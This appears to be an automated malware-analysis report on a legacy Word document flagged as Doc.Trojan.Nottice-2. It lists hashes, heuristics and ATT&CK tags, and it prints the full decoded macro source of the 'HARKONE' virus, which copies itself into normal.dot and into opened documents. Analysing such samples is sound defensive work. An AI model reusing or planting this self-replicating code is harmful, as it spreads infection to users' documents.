Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cce32b9b60899c90…

MALICIOUS

Office (OLE)

29.5 KB Created: 1999-09-10 15:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5fd84ea76384b0f45593160c084ec8a1 SHA-1: ea2386d32e1edd138b2356b2e568ac9e78049cb6 SHA-256: cce32b9b60899c9049345a8f631f91b3094af75188a25e8b9a446203163c0abe
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1505.003 Server Software Component: Exploit Public-Facing Application

The sample is a Word document containing VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon opening or closing a document. The script attempts to infect the current document and the global template by copying its macros, indicating a propagation mechanism. The presence of 'Virus Infected Bait File' in the document body suggests a lure, though the exact payload is not directly executed from this sample.

Heuristics 5

  • ClamAV: Doc.Trojan.Nottice-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nottice-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1842 bytes
SHA-256: a44f5a91733eeba839926d35ff0d2924b7109bdd49743f67d745d2858709c0ea
Detection
ClamAV: Doc.Trojan.Nottice-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HARKONE"

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim J$
On Error GoTo -1: On Error GoTo Finish
WordBasic.DisableAutoMacros 0
J$ = LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If J$ = "normal.dot" Then
    If VI = 1 Then
        GoTo Finish
    Else
        InfectDOC
    End If
Else
    If VI2 = 1 Then
        GoTo Finish
    Else
        InfectGlobal
    End If
End If
Finish:
                                      
'WordBasic.Call "HARKONE"
End Sub

Private Function VI()
Dim i
VI = 0
If WordBasic.CountMacros(1) > 0 Then
    For i = 1 To WordBasic.CountMacros(1)
                If WordBasic.[MacroName$](i, 1) = "HARKONE" Then
                             VI = 1
        End If
    Next i
End If
End Function

Private Function VI2()
Dim i
VI2 = 0
If WordBasic.CountMacros(0) > 0 Then
    For i = 1 To WordBasic.CountMacros(0)
                If WordBasic.[MacroName$](i, 0) = "HARKONE" Then
                             VI2 = 1
        End If
    Next i
End If
End Function

Private Sub InfectDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:HARKONE", WordBasic.[FileName$]() + ":HARKONE"
WordBasic.FileSaveAll 1, 1
End Sub

Private Sub InfectGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":HARKONE", "Global:HARKONE"
WordBasic.FileSaveAll 1, 0
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True